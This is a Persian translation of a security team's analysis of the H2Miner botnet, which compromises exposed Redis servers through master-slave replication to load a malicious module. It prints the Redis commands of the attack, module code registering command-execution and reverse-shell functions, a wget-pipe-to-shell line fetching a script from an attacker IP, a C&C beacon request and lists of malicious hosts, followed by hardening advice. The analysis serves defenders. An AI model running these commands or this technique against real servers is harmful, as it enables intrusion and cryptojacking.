یک روز پیش، یکی از سرورهای پروژه من توسط یک کرم مشابه مورد حمله قرار گرفت. در جستجوی پاسخی برای این سوال که "این چی بود؟" من یک مقاله عالی از تیم Alibaba Cloud Security پیدا کردم. از آنجایی که من این مقاله را در هابره پیدا نکردم، تصمیم گرفتم آن را مخصوص شما ترجمه کنم <3
ورود
اخیراً تیم امنیتی Alibaba Cloud شیوع ناگهانی H2Miner را کشف کرده است. این نوع کرم مخرب از عدم مجوز یا پسوردهای ضعیف برای Redis به عنوان دروازه ورود به سیستم شما استفاده می کند و پس از آن از طریق همگام سازی master-slave ماژول مخرب خود را با Slave همگام می کند و در نهایت این ماژول مخرب را در دستگاه مورد حمله دانلود می کند و موارد مخرب را اجرا می کند. دستورالعمل ها.
در گذشته، حملات به سیستمهای شما عمدتاً با استفاده از روشی انجام میشد که شامل وظایف برنامهریزیشده یا کلیدهای SSH بود که پس از ورود مهاجم به Redis روی دستگاه شما نوشته میشد. خوشبختانه، این روش اغلب به دلیل مشکلات کنترل مجوز یا نسخه های مختلف سیستم قابل استفاده نیست. با این حال، این روش بارگذاری یک ماژول مخرب می تواند مستقیماً دستورات مهاجم را اجرا کند یا به پوسته دسترسی پیدا کند که برای سیستم شما خطرناک است.
با توجه به تعداد زیاد سرورهای Redis میزبانی شده در اینترنت (نزدیک به 1 میلیون)، تیم امنیتی Alibaba Cloud، به عنوان یک یادآوری دوستانه، توصیه می کند که کاربران Redis را به صورت آنلاین به اشتراک نگذارند و به طور منظم قوی بودن رمزهای عبور خود و در معرض خطر بودن آنها را بررسی کنند. انتخاب سریع
H2Miner
H2Miner یک باتنت ماینینگ برای سیستمهای مبتنی بر لینوکس است که میتواند به روشهای مختلفی به سیستم شما حمله کند، از جمله عدم وجود مجوز در Hadoop yarn، Docker و آسیبپذیریهای Redis Redis Remote Execution Command (RCE). یک بات نت با دانلود اسکریپت های مخرب و بدافزارها برای استخراج داده های شما، گسترش حمله به صورت افقی و حفظ ارتباطات فرمان و کنترل (C&C) کار می کند.
Redis RCE
دانش در مورد این موضوع توسط Pavel Toporkov در ZeroNights 2018 به اشتراک گذاشته شد. پس از نسخه 4.0، Redis از یک ویژگی بارگذاری افزونه پشتیبانی می کند که به کاربران امکان بارگذاری فایل های کامپایل شده با C را در Redis می دهد تا دستورات Redis خاص را اجرا کنند. این تابع، اگرچه مفید است، اما حاوی آسیبپذیری است که در آن، در حالت master-slave، میتوان فایلها را از طریق حالت fullresync با Slave همگامسازی کرد. این می تواند توسط یک مهاجم برای انتقال فایل های مخرب استفاده شود. پس از تکمیل انتقال، مهاجمان ماژول را بر روی نمونه مورد حمله Redis بارگذاری می کنند و هر دستوری را اجرا می کنند.
تجزیه و تحلیل کرم بدافزار
اخیراً تیم امنیتی Alibaba Cloud متوجه شده است که اندازه گروه ماینرهای مخرب H2Miner به طور ناگهانی افزایش یافته است. با توجه به تجزیه و تحلیل، روند کلی وقوع حمله به شرح زیر است:
H2Miner از RCE Redis برای یک حمله تمام عیار استفاده می کند. مهاجمان ابتدا به سرورهای Redis محافظت نشده یا سرورهایی با رمزهای عبور ضعیف حمله می کنند.
سپس از دستور استفاده می کنند config set dbfilename red2.so
برای تغییر نام فایل پس از این، مهاجمان دستور را اجرا می کنند slaveof
برای تنظیم آدرس میزبان تکرار master-slave.
هنگامی که نمونه Redis مورد حمله یک ارتباط master-slave با Redis مخربی که متعلق به مهاجم است برقرار می کند، مهاجم ماژول آلوده را با استفاده از دستور fullresync برای همگام سازی فایل ها ارسال می کند. سپس فایل red2.so در دستگاه مورد حمله دانلود می شود. سپس مهاجمان از ماژول بارگیری ./red2.so برای بارگذاری این فایل so استفاده می کنند. ماژول می تواند دستورات مهاجم را اجرا کند یا یک اتصال معکوس (درپشتی) را برای دسترسی به ماشین مورد حمله راه اندازی کند.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
پس از اجرای یک دستور مخرب مانند / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
، مهاجم نام فایل پشتیبان را بازنشانی می کند و ماژول سیستم را برای پاک کردن ردیابی ها بارگیری می کند. با این حال، فایل red2.so همچنان در دستگاه مورد حمله باقی خواهد ماند. به کاربران توصیه می شود به وجود چنین فایل مشکوکی در پوشه نمونه Redis خود توجه کنند.
مهاجم علاوه بر کشتن برخی از فرآیندهای مخرب برای سرقت منابع، یک اسکریپت مخرب را با دانلود و اجرای فایل های باینری مخرب دنبال می کند.
با توجه به نتایج مهندسی معکوس، بدافزار عمدتاً عملکردهای زیر را انجام می دهد:
- آپلود فایل ها و اجرای آنها
- معدن
- حفظ ارتباطات C&C و اجرای دستورات مهاجم
از Mascan برای اسکن خارجی برای گسترش نفوذ خود استفاده کنید. علاوه بر این، آدرس IP سرور C&C در برنامه به صورت سخت کدگذاری شده است و میزبان مورد حمله با استفاده از درخواست های HTTP با سرور ارتباطی C&C ارتباط برقرار می کند، جایی که اطلاعات زامبی (سرور در معرض خطر) در هدر HTTP شناسایی می شود.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
سایر روش های حمله
آدرس ها و لینک های استفاده شده توسط کرم
/ خویشاوندی
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
s&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
نکته
اول، Redis نباید از طریق اینترنت قابل دسترسی باشد و باید با یک رمز عبور قوی محافظت شود. همچنین مهم است که کلاینتها بررسی کنند که فایل red2.so در فهرست Redis وجود نداشته باشد و در نام فایل/فرآیند روی هاست “kinsing” وجود نداشته باشد.
منبع: www.habr.com